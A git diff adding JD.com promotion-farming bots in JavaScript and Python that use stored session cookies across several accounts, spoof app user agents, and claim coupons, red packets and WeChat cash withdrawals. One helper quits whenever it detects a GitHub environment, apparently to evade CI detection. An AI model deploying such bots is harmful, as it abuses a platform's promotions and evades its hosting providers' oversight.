_0x42e0bc.shopactivityId=_0x313fb3.result.interestsRuleList&&_0x313fb3.result.interestsRuleList[0]&&_0x313fb3.result.interestsRuleList[0].interestsInfo&&_0x313fb3.result.interestsRuleList[0].interestsInfo.activityId||''; + } + }catch(_0x254d1e){ + _0x42e0bc.logErr(_0x254d1e,_0x5d61b1); + } + finally{ + _0x49664a(); + } + }); + }); +} +function getRandomArrayElements(_0x424ad7,_0x39bfd1){ + var _0x4063b6=_0x424ad7.slice(0),_0x57a8d=_0x424ad7.length,_0x5dc753=_0x57a8d-_0x39bfd1,_0x3010ad,_0x581bb0; + while(_0x57a8d-->_0x5dc753){ + _0x581bb0=Math.floor((_0x57a8d+1)*Math.random()); + _0x3010ad=_0x4063b6[_0x581bb0]; + _0x4063b6[_0x581bb0]=_0x4063b6[_0x57a8d]; + _0x4063b6[_0x57a8d]=_0x3010ad; + } + return _0x4063b6.slice(_0x5dc753); +}; +function Env(t,e){ + "undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0); + class s{ + constructor(t){ + this.env=t + }send(t,e="GET"){ + t="string"==typeof t?{url:t}:t; + let s=this.get; + return"POST"===e&&(s=this.post),new Promise((e,i)=>{ + s.call(this,t,(t,s,r)=>{t?i(t):e(s)}) + }) + }get(t){ + return this.send.call(this.env,t) + }post(t){ + return this.send.call(this.env,t,"POST") + } + }return new class{ + constructor(t,e){ + this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`) + }isNode(){ + return"undefined"!=typeof module&&!!module.exports + }isQuanX(){ + return"undefined"!=typeof $task + }isSurge(){ + return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon + }isLoon(){ + return"undefined"!=typeof $loon + }toObj(t,e=null){ + try{ + return JSON.parse(t) + }catch{ + return e + } + }toStr(t,e=null){ + try{ + return JSON.stringify(t) + }catch{ + return e + } + }getjson(t,e){ + let s=e; + const i=this.getdata(t); + if(i)try{ + s=JSON.parse(this.getdata(t)) + }catch{}return s + }setjson(t,e){ + try{ + return this.setdata(JSON.stringify(t),e) + }catch{ + return!1 + } + }getScript(t){ + return new Promise(e=>{ + this.get({url:t},(t,s,i)=>e(i)) + }) + }runScript(t,e){ + return new Promise(s=>{ + let i=this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i=i?i.replace(/\n/g,"").trim():i; + let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r=r?1*r:20,r=e&&e.timeout?e.timeout:r; + const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}}; + this.post(n,(t,e,i)=>s(i)) + }).catch(t=>this.logErr(t)) + }loaddata(){ + if(!this.isNode())return{}; + { + this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path"); + const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e); + if(!s&&!i)return{}; + { + const i=s?t:e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + }catch(t){ + return{} + } + } + } + }writedata(){ + if(this.isNode()){ + this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path"); + const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data); + s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r) + } + }lodash_get(t,e,s){ + const i=e.replace(/\[(\d+)\]/g,".$1").split("."); + let r=t; + for(const t of i)if(r=Object(r)[t],void 0===r)return s; + return r + }lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){ + let e=this.getval(t); + if(/^@/.test(t)){ + const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):""; + if(r)try{ + const t=JSON.parse(r); + e=t?this.lodash_get(t,i,""):e + }catch(t){ + e="" + } + }return e + }setdata(t,e){ + let s=!1; + if(/^@/.test(e)){ + const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}"; + try{ + const e=JSON.parse(h); + this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i) + }catch(e){ + const o={}; + this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i) + } + }else s=this.setval(t,e); + return s + }getval(t){ + return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null + }setval(t,e){ + return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null + }initGotEnv(t){ + this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)) + }get(t,e=(()=>{})){ + t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{ + !t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i) + })):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{ + try{ + if(t.headers["set-cookie"]){ + const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar + } + }catch(t){ + this.logErr(t) + } + }).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>{ + const{message:s,response:i}=t; + e(s,i,i&&i.body) + })) + }post(t,e=(()=>{})){ + if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{ + !t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i) + });else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>e(t));else if(this.isNode()){ + this.initGotEnv(t); + const{ + url:s,...i + }=t; + this.got.post(s,i).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>{ + const{message:s,response:i}=t; + e(s,i,i&&i.body) + }) + } + }time(t,e=null){ + const s=e?new Date(e):new Date; + let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()}; + /(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length))); + for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length))); + return t + }msg(e=t,s="",i="",r){ + const o=t=>{ + if(!t)return t; + if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t} + :this.isSurge()?{url:t}:void 0; + if("object"==typeof t){ + if(this.isLoon()){ + let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"]; + return{openUrl:e,mediaUrl:s} + } + if(this.isQuanX()){ + let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl; + return{"open-url":e,"media-url":s} + }if(this.isSurge()){ + let e=t.url||t.openUrl||t["open-url"]; + return{url:e} + } + } + }; + if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){ + let t=["","==============📣系统通知📣=============="]; + t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t) + } + }log(...t){ + t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator)) + }logErr(t,e){ + const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon(); + s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t) + }wait(t){ + return new Promise(e=>setTimeout(e,t)) + }done(t={}){ + const e=(new Date).getTime(),s=(e-this.startTime)/1e3; + this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t) + } + }(t,e) +}; \ No newline at end of file diff --git a/jd_farautomation.js b/jd_farautomation.js new file mode 100644 index 0000000..cb15171 --- /dev/null +++ b/jd_farautomation.js @@ -0,0 +1,79 @@ +//20 5,12,21 * * * m_jd_farm_automation.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M农场自动化'); +let level = process.env.M_JD_FARM_LEVEL ? process.env.M_JD_FARM_LEVEL * 1 : 2 +$.log('默认种植2级种子,自行配置请配置 M_JD_FARM_LEVEL') +$.logic = async function () { + let info = await api('initForFarm', + {"version": 11, "channel": 3, "babelChannel": 0}); + $.log(JSON.stringify(info)); + if (!info?.farmUserPro?.treeState) { + $.log('可能没玩农场') + } + if (info.farmUserPro.treeState === 1) { + return + } + if (info.farmUserPro.treeState === 2) { + await $.wait(1000, 3000) + $.log(`${info.farmUserPro.name},种植时间:${$.formatDate( + info.farmUserPro.createTime)}`); + //成熟了 + let coupon = await api('gotCouponForFarm', + {"version": 11, "channel": 3, "babelChannel": 0}); + $.log(coupon) + info = await api('initForFarm', + {"version": 11, "channel": 3, "babelChannel": 0}); + } + if (info.farmUserPro.treeState !== 3) { + return + } + let hongBao = info.myHongBaoInfo.hongBao; + $.putMsg(`${hongBao.discount}红包,${$.formatDate(hongBao.endTime)}过期`) + let element = info.farmLevelWinGoods[level][0]; + await $.wait(1000, 3000) + info = await api('choiceGoodsForFarm', { + "imageUrl": '', + "nickName": '', + "shareCode": '', + "goodsType": element.type, + "type": "0", + "version": 11, + "channel": 3, + "babelChannel": 0 + }); + if (info.code * 1 === 0) { + $.putMsg(`已种【${info.farmUserPro.name}】`) + } + await api('gotStageAwardForFarm', + {"type": "4", "version": 11, "channel": 3, "babelChannel": 0}); + await api('waterGoodForFarm', + {"type": "", "version": 11, "channel": 3, "babelChannel": 0}); + await api('gotStageAwardForFarm', + {"type": "1", "version": 11, "channel": 3, "babelChannel": 0}); +}; + +$.run({ + wait: [20000, 30000], whitelist: ['1-15'] +}).catch( + reason => $.log(reason)); + +// noinspection DuplicatedCode +async function api(fn, body) { + let url = `https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify( + body)}&client=apple&clientVersion=10.0.4&osVersion=13.7&appid=wh5&loginType=2&loginWQBiz=interact` +//↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓请求头↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ + let headers = { + "Cookie": $.cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "Host": "api.m.jd.com", + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN miniProgram`, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn" + } + let {data} = await $.request(url, headers) + await $.wait(1000, 3000) + return data; +} + diff --git a/jd_fcwb.py b/jd_fcwb.py new file mode 100644 index 0000000..6fdb3ee --- /dev/null +++ b/jd_fcwb.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +''' +cron: 1 1 1 1 * +new Env('发财挖宝'); +活动入口: 京东极速版 > 我的 > 发财挖宝 +最高可得总和为10元的微信零钱和红包 +脚本功能为: 挖宝,提现,没有助力功能,当血量剩余 1 时停止挖宝,领取奖励并提现 + +目前需要完成逛一逛任务并且下单任务才能通关,不做的话大概可得1.5~2块的微信零钱 +''' +import os,json,random,time,re,string,functools,asyncio +import sys +sys.path.append('../../tmp') +print('\n运行本脚本之前请手动进入游戏点击一个方块\n') +print('\n挖的如果都是0.01红包就是黑了,别挣扎了!\n') +print('\n默认自动领取奖励,关闭请在代码383行加上#号注释即可\n') +try: + import requests +except Exception as e: + print(str(e) + "\n缺少requests模块, 请执行命令:pip3 install requests\n") +requests.packages.urllib3.disable_warnings() + + +linkId="pTTvJeSTrpthgk9ASBVGsw" + + +# 获取pin +cookie_findall=re.compile(r'pt_pin=(.+?);') +def get_pin(cookie): + try: + return cookie_findall.findall(cookie)[0] + except: + print('ck格式不正确,请检查') + +# 读取环境变量 +def get_env(env): + try: + if env in os.environ: + a=os.environ[env] + elif '/ql' in os.path.abspath(os.path.dirname(__file__)): + try: + a=v4_env(env,'/ql/config/config.sh') + except: + a=eval(env) + elif '/jd' in os.path.abspath(os.path.dirname(__file__)): + try: + a=v4_env(env,'/jd/config/config.sh') + except: + a=eval(env) + else: + a=eval(env) + except: + a='' + return a + +# v4 +def v4_env(env,paths): + b=re.compile(r'(?:export )?'+env+r' ?= ?[\"\'](.*?)[\"\']', re.I) + with open(paths, 'r') as f: + for line in f.readlines(): + try: + c=b.match(line).group(1) + break + except: + pass + return c + + +# 随机ua +def ua(): + sys.path.append(os.path.abspath('.')) + try: + from jdEnv import USER_AGENTS as a + except: + a='jdpingou;android;5.5.0;11;network/wifi;model/M2102K1C;appBuild/18299;partner/lcjx11;session/110;pap/JA2019_3111789;brand/Xiaomi;Mozilla/5.0 (Linux; Android 11; M2102K1C Build/RKQ1.201112.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36' + return a + +# 13位时间戳 +def gettimestamp(): + return str(int(time.time() * 1000)) + +## 获取cooie +class Judge_env(object): + def main_run(self): + if '/jd' in os.path.abspath(os.path.dirname(__file__)): + cookie_list=self.v4_cookie() + else: + cookie_list=os.environ["JD_COOKIE"].split('&') # 获取cookie_list的合集 + if len(cookie_list)<1: + print('请填写环境变量JD_COOKIE\n') + return cookie_list + + def v4_cookie(self): + a=[] + b=re.compile(r'Cookie'+'.*?=\"(.*?)\"', re.I) + with open('/jd/config/config.sh', 'r') as f: + for line in f.readlines(): + try: + regular=b.match(line).group(1) + a.append(regular) + except: + pass + return a +cookie_list=Judge_env().main_run() + + +def taskGetUrl(functionId, body, cookie): + url=f'https://api.m.jd.com/?functionId={functionId}&body={json.dumps(body)}&t={gettimestamp()}&appid=activities_platform&client=H5&clientVersion=1.0.0' + headers={ + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'origin': 'https://bnzf.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'accept': 'application/json, text/plain, */*', + "User-Agent": ua(), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + for n in range(3): + try: + res=requests.get(url,headers=headers, timeout=10).json() + return res + except: + if n==2: + print('API请求失败,请检查网路重试❗\n') + + +# 剩余血量 +def xueliang(cookie): + body={"linkId":linkId,"round":1} + res=taskGetUrl("happyDigHome", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + curRound=res['data']['curRound'] # 未知 + blood=res['data']['blood'] # 剩余血量 + return blood + +def jinge(cookie,i): + body={"linkId":linkId} + res=taskGetUrl("happyDigHome", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + curRound=res['data']['curRound'] # 未知 + blood=res['data']['blood'] # 剩余血量 + roundList=res['data']['roundList'] # 3个总池子 + roundList_n=roundList[0] + redAmount=roundList_n['redAmount'] # 当前池已得京东红包 + cashAmount=roundList_n['cashAmount'] # 当前池已得微信红包 + + return [blood,redAmount,cashAmount] + +# 页面数据 +def happyDigHome(cookie): + body={"linkId":linkId,"round":1} + res=taskGetUrl("happyDigHome", body, cookie) + exit_flag = "false" + if not res: + return + if res['code']==0: + if res['success']: + curRound=res['data']['curRound'] # 未知 + incep_blood=res['data']['blood'] # 剩余血量 + roundList=res['data']['roundList'] # 3个总池子 + for e,roundList_n in enumerate(roundList): # 迭代每个池子 + roundid=roundList_n['round'] # 池序号 + state=roundList_n['state'] + rows=roundList_n['rows'] # 池规模,rows*rows + redAmount=roundList_n['redAmount'] # 当前池已得京东红包 + cashAmount=roundList_n['cashAmount'] # 当前池已得微信红包 + leftAmount=roundList_n['leftAmount'] # 剩余红包? + chunks=roundList_n['chunks'] # 当前池详情list + + a=jinge(cookie,roundid) + if roundid==1: + print(f'\n开始 "入门" 难度关卡({rows}*{rows})') + elif roundid==2: + print(f'\n开始 "挑战" 难度关卡({rows}*{rows})') + elif roundid==3: + print(f'\n开始 "终极" 难度关卡({rows}*{rows})') + print(f'当前剩余血量 {a[0]}🩸') + ## print(f'当前池已得京东红包 {a[2]}\n当前池已得微信红包 {a[1]}\n') + _blood=xueliang(cookie) + if _blood>1 or incep_blood>=21: + happyDigDo(cookie,roundid,0,0) + if e==0 or e==1: + roundid_n=4 + else: + roundid_n=5 + for n in range(roundid_n): + for i in range(roundid_n): + _blood=xueliang(cookie) + if _blood>1 or incep_blood>=21: + ## print(f'当前血量为 {_blood}') + a=n+1 + b=i+1 + print(f'挖取坐标({a},{b})') + happyDigDo(cookie,roundid,n,i) + else: + a=jinge(cookie,roundid) + print(f'没血了,不挖了') + exit_flag = "true" + ## print(f'当前池已得京东红包 {a[2]}\n当前池已得微信红包 {a[1]}\n') + break + + if exit_flag == "true": + break + if exit_flag == "true": + break + else: + print(f'获取数据失败\n{res}\n') + else: + print(f'获取数据失败\n{res}\n') + + + # 玩一玩 +def apDoTask(cookie): + print('开始做玩一玩任务') + body={"linkId":linkId,"taskType":"BROWSE_CHANNEL","taskId":454,"channel":4,"itemId":"https%3A%2F%2Fsignfree.jd.com%2F%3FactivityId%3DPiuLvM8vamONsWzC0wqBGQ","checkVersion":False} + res=taskGetUrl('apDoTask', body, cookie) + if not res: + return + try: + if res['success']: + print('玩好了') + else: + print(f"{res['errMsg']}") + except: + print(f"错误\n{res}") + + +# 挖宝 +def happyDigDo(cookie,roundid,rowIdx,colIdx): + body={"round":roundid,"rowIdx":rowIdx,"colIdx":colIdx,"linkId":linkId} + res=taskGetUrl("happyDigDo", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + typeid=res['data']['chunk']['type'] + if typeid==2: + print(f"获得极速版红包 {res['data']['chunk']['value']} 🧧\n") + elif typeid==3: + print(f"🎉 获得微信零钱 {res['data']['chunk']['value']} 💰\n") + elif typeid==4: + print(f"💥Boom💥 挖到了炸弹 💣\n") + elif typeid==1: + print(f"获得优惠券 🎟️\n") + else: + print(f'不知道挖到了什么 🎁\n') + else: + print(f'{res}\n挖宝失败\n') + else: + print(f'{res}\n挖宝失败\n') + +# # 助力码 +# def inviteCode(cookie): +# global inviteCode_1_list,inviteCode_2_list +# body={"linkId":linkId} +# res=taskGetUrl("happyDigHome", body, cookie) +# if not res: +# return +# try: +# if res['success']: +# print(f"账号{get_pin(cookie)}助力码为{res['data']['inviteCode']}") +# inviteCode_1_list.append(res['data']['inviteCode']) +# print(f"账号{get_pin(cookie)}助力码为{res['data']['markedPin']}") +# inviteCode_2_list.append(res['data']['markedPin']) +# else: +# print('快去买买买吧') +# except: +# print(f"错误\n{res}\n") + +# # 助力 +# def happyDigHelp(cookie,fcwbinviter,fcwbinviteCode): +# print(f"账号 {get_pin(cookie)} 去助力{fcwbinviteCode}") +# xueliang(cookie) +# body={"linkId":linkId,"inviter":fcwbinviter,"inviteCode":fcwbinviteCode} +# res=taskGetUrl("happyDigHelp", body, cookie) +# if res['success']: +# print('助力成功') +# else: +# print(res['errMsg']) + +# 领取奖励 +def happyDigExchange(cookie): + for n in range(1,4): + xueliang(cookie) + print(f"\n开始领取第{n}场的奖励") + body={"round":n,"linkId":linkId} + res=taskGetUrl("happyDigExchange", body, cookie) + if not res: + return + if res['code']==0: + if res['success']: + try: + print(f"已领取极速版红包 {res['data']['redValue']} 🧧") + except: + print('') + if res['data']['wxValue'] != "0": + try: + print(f"可提现微信零钱 {res['data']['wxValue']} 💰") + except: + pass + else: + print(res['errMsg']) + else: + print(res['errMsg']) + + + +# 微信现金id +def spring_reward_list(cookie): + happyDigExchange(cookie) + xueliang(cookie) + + body={"linkId":linkId,"pageNum":1,"pageSize":6} + res=taskGetUrl("spring_reward_list", body, cookie) + + if res['code']==0: + if res['success']: + items=res['data']['items'] + for _items in items: + amount=_items['amount'] # 金额 + prizeDesc=_items['prizeDesc'] # 金额备注 + amountid=_items['id'] # 金额id + poolBaseId=_items['poolBaseId'] + prizeGroupId=_items['prizeGroupId'] + prizeBaseId=_items['prizeBaseId'] + if '红包' in f"{prizeDesc}": + continue + if '券' in f"{prizeDesc}": + continue + else: + print('\n去提现微信零钱 💰') + time.sleep(3.2) + wecat(cookie,amountid,poolBaseId,prizeGroupId,prizeBaseId) + else: + print(f'获取数据失败\n{res}\n') + else: + print(f'获取数据失败\n{res}\n') + +# 微信提现 +def wecat(cookie,amountid,poolBaseId,prizeGroupId,prizeBaseId): + xueliang(cookie) + + url='https://api.m.jd.com' + headers={ + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'origin': 'https://bnzf.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": ua(), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + body={"businessSource":"happyDiggerH5Cash","base":{"id":amountid,"business":"happyDigger","poolBaseId":poolBaseId,"prizeGroupId":prizeGroupId,"prizeBaseId":prizeBaseId,"prizeType":4},"linkId":linkId} + data=f"functionId=apCashWithDraw&body={json.dumps(body)}&t=1635596380119&appid=activities_platform&client=H5&clientVersion=1.0.0" + for n in range(3): + try: + res=requests.post(url,headers=headers,data=data,timeout=10).json() + break + except: + if n==2: + print('API请求失败,请检查网路重试❗\n') + try: + if res['code']==0: + if res['success']: + print(res['data']['message']+'\n') + except: + print(res) + print('') + + +def main(): + print('🔔发财挖宝,开始!\n') + + # print('获取助力码\n') + # global inviteCode_1_list,inviteCode_2_list + # inviteCode_1_list=list() + # inviteCode_2_list=list() + # for cookie in cookie_list: + # inviteCode(cookie) + + # print('互助\n') + # inviteCode_2_list=inviteCode_2_list[:2] + # for e,fcwbinviter in enumerate(inviteCode_2_list): + # fcwbinviteCode=inviteCode_1_list[e] + # for cookie in cookie_list: + # happyDigHelp(cookie,fcwbinviter,fcwbinviteCode) + + print(f'====================共{len(cookie_list)}京东个账号Cookie=========\n') + + for e,cookie in enumerate(cookie_list,start=1): + print(f'******开始【账号 {e}】 {get_pin(cookie)} *********\n') + apDoTask(cookie) + happyDigHome(cookie) + spring_reward_list(cookie) + + +if __name__ == '__main__': + main() diff --git a/jd_follow_shop.js b/jd_follow_shop.js new file mode 100644 index 0000000..8475aa3 --- /dev/null +++ b/jd_follow_shop.js @@ -0,0 +1,125 @@ +/* +7 7 7 7 7 m_jd_follow_shop.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M关注有礼'); +$.followShopArgv = process.env.M_FOLLOW_SHOP_ARGV + ? process.env.M_FOLLOW_SHOP_ARGV + : ''; +if (mode) { + $.followShopArgv = '1000104168_1000104168' +} +$.logic = async function () { + let argv = $?.followShopArgv?.split('_'); + $.shopId = argv?.[0]; + $.venderId = argv?.[1]; + if (!$.shopId || !$.venderId) { + $.log(`无效的参数${$.followShopArgv}`) + $.expire = true; + return + } + let actInfo = await getShopHomeActivityInfo(); + if (actInfo?.code !== '0') { + $.log(JSON.stringify(actInfo)) + if (actInfo?.message.includes('不匹配')) { + $.expire = true; + } + return + } + let actInfoData = actInfo?.result; + + if (actInfoData?.shopGifts?.filter(o => o.rearWord.includes('京豆')).length + > 0) { + $.activityId = actInfoData?.activityId?.toString(); + let gift = await drawShopGift(); + if (gift?.code !== '0') { + $.log(JSON.stringify(gift)) + return + } + let giftData = gift?.result; + $.log(giftData) + for (let ele of + giftData?.alreadyReceivedGifts?.filter(o => o.prizeType === 4) || []) { + $.putMsg(`${ele.redWord}${ele.rearWord}`); + } + } else { + $.putMsg(`没有豆子`); + } +}; +let kv = {'jd': '京豆', 'jf': '积分', 'dq': 'q券'} +$.after = async function () { + $.msg.push(`\n${(await $.getShopInfo()).shopName}`); + if ($?.content) { + let message = `\n`; + for (let ele of $.content || []) { + message += ` ${ele.takeNum || ele.discount} ${kv[ele?.type]}\n` + } + $.msg.push(message) + $.msg.push($.activityUrl); + } +} +$.run({whitelist: ['1-5'], wait: [1000, 3000]}).catch(reason => $.log(reason)) + +async function drawShopGift() { + $.log('店铺信息', $.shopId, $.venderId, $.activityId) + let sb = { + "follow": 0, + "shopId": $.shopId, + "activityId": $.activityId, + "sourceRpc": "shop_app_home_window", + "venderId": $.venderId + }; + let newVar = await $.sign('drawShopGift', sb); + + let headers = { + 'J-E-H': '', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Referer': '', + 'J-E-C': '', + 'Accept-Language': 'zh-Hans-CN;q=1, en-CN;q=0.9', + 'Accept': '*/*', + 'User-Agent': 'JD4iPhone/167841 (iPhone; iOS; Scale/3.00)' + } + // noinspection DuplicatedCode + headers['Cookie'] = $.cookie + let url = `https://api.m.jd.com/client.action?functionId=` + newVar.fn + let {status, data} = await $.request(url, headers, newVar.sign); + return data; +} + +async function getShopHomeActivityInfo() { + let sb = { + "shopId": $.shopId, + "source": "app-shop", + "latWs": "0", + "lngWs": "0", + "displayWidth": "1098.000000", + "sourceRpc": "shop_app_home_home", + "lng": "0", + "lat": "0", + "venderId": $.venderId + } + let newVar = await $.sign('getShopHomeActivityInfo', sb); + let headers = { + 'J-E-H': '', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Referer': '', + 'J-E-C': '', + 'Accept-Language': 'zh-Hans-CN;q=1, en-CN;q=0.9', + 'Accept': '*/*', + 'User-Agent': 'JD4iPhone/167841 (iPhone; iOS; Scale/3.00)' + } + // noinspection DuplicatedCode + headers['Cookie'] = $.cookie + let url = `https://api.m.jd.com/client.action?functionId=` + newVar.fn + let {status, data} = await $.request(url, headers, newVar.sign); + return data; +} + diff --git a/jd_fruit.js b/jd_fruit.js new file mode 100644 index 0000000..032704f --- /dev/null +++ b/jd_fruit.js @@ -0,0 +1,1605 @@ +/* +东东水果:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js +更新时间:2021-8-20 +活动入口:京东APP我的-更多工具-东东农场 +东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 + +==========================Quantumultx========================= +[task_local] +#jd免费水果 +5 6-18/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "5 6-18/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js,tag=东东农场 + +=========================Surge============================ +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js + +=========================小火箭=========================== +东东农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true + +jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js +*/ +const $ = new Env('东东农场互助版'); +let cookiesArr = [], cookie = '', isBox = false, notify,allMessage = ''; +//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 